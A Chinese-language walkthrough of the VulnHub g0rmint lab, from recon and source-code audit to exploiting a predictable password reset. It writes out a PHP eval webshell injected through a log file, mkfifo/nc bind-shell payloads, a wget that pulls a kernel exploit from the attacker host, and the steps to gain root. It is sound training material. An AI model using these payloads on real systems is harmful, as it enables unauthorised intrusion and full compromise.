前言

最近和组内大佬一起在刷vulnhub,感觉还是学了蛮多实际渗透测试方面的东西。

g0rmint感觉还是蛮有意思的一个环境,遂记录一下。

攻击机:Kali

IP:192.168.85.134

靶机链接:https://www.vulnhub.com/entry/g0rmint-1,214/

下载完成后直接用vmware打开即可

主机探测

先用arp-scan -l查看一下靶机的ip

可以确定是192.168.85.139的ip了,用nmap扫描一波看看开放的端口的信息

nmap -sS -T4 -A -v -p 1-50000 192.168.85.139

可以看到一共就开放了两个端口

信息搜集

访问80端口之后发现返回的是404

但是nmap的扫描结果中可以看到一个robots文件,不妨先看一下

访问/g0rmint/页面之后是一个登录界面

尝试一波弱口令无果后,在html源代码中发现了一个奇怪的东西

访问之后依旧是404 就很苦恼了,然后用dirb爆破了一下目录,发现了点东西

dirb http://192.168.85.139/g0rmint/s3cretbackupdirect0ry/

里面提示了backup.zip,遂就能下载到源码文件了

代码审计

文件结构

login.php中可以看到

<?php
include_once('config.php');
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $pass = md5($_POST['pass']);

    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":pass", $pass);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        session_start();
        $_SESSION['username'] = $result['username'];
        header('Location: index.php');
        exit();
    } else {
        $log = $email;
        $reason = "Failed login attempt detected with email: ";
        addlog($log, $reason);
    }
}
?>

登录失败的时候会生成一个日志文件addlog($log, $reason);,看下这个addlog的代码

function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if (file_exists($myFile)) {
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    } else {
        $fh = fopen($myFile, 'w');
        fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
        fclose($fh);
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    }
    fclose($fh);
}

偏偏写在了一个.php的文件中,这样我们的思路就可以尝试在登录邮箱处插入一个php语句,从而任意代码执行

可是在尝试去访问改文件的时候却跳转到了登录界面。

最后发现是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");写入了一个session判断

所以还是得先解决登录的问题。

继续看代码,在db.sql中可以看到一条插入的数据

INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES
(1, 'demo', '[email protected]', 'fe01ce2a7fbac8fafaed7c982a04e229');

解密这个哈希值之后发现是demo

尝试登录一波,发现似乎无法登录,可能是后期改了密码或者怎么,总之应该需要换一条登录的思路了

文件中有一个重置密码的文件reset.php

<?php
include_once('config.php');
$message = "";
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $user = $_POST['user'];
    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":user", $user);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
        $password = md5($password);
        $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
        $sql->bindParam(":pass", $password);
        $row = $sql->execute();
        $message = "A new password has been sent to your email";
    } else {
        $message = "User not found in our database";
    }
}
?>

可以看到,只需要知道一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希

但是,尝试了demo和一些常用邮箱用户名之后,发现似乎并没有这个用户

后面这个思路确实有点骚,问了队友才知道怎么弄,尝试在全部文件中搜索email关键字

可以在一个css文件中看到用户的名字和邮箱

成功重置后,界面右下角也给出了对应的时间,遂能算出相应的哈希值

echo substr(hash('sha1', 'Saturday 15th of September 2018 02:05:51 AM'), 0, 20);
9997d372a7af4f7a680b

用邮箱和算出的哈希值就能登录到后台中

这时也能成功的访问到生成的log文件了

getshell

这样,我们在登录的时邮箱处插入一条php语句,写入webshell

<?php eval($_POST[_]); ?>

然后访问对应的日志,提交post参数即可执行任意php代码

然后将shell弹到我的kali中来

在post中*依次传入

_=`mkfifo /tmp/t`;
_=`cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t`;

注意url编码

_=%60mkfifo%20%2ftmp%2ft%60%3B
_=%60cat%20%2ftmp%2ft%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20-l%208888%20%3E%20%2ftmp%2ft%60%3B

第二次post完之后,浏览器会进入阻塞状态,在kali中用nc连接即可

nc -n 192.168.85.139 8888

提升权限

接下来就是尝试能不能提权成root,先查看一下版本信息

找一下ubuntu 16.04的提权脚本

挑一个44298来看看,将这个文件移动到/var/www/html目录下之后,在webshell中运行

wget http://192.168.85.134/44298.c /tmp/

然而编译的时候一个比较尴尬的事情发生了,没有安装gcc

所以就只能在本地编译后上传了,为防止一些库的差异,我选择了在我另外一台ubuntu 16.04的虚拟机中编译

gcc 44298.c -o e

然后还是将这个文件放到www目录,通过wget的方式下载到/tmp目录下

赋予权限,提权

chmod 777 e
./e

就可以成功提权成为root了

至于flag,root都有了,flag还重要么。

源链接

Hacking more

...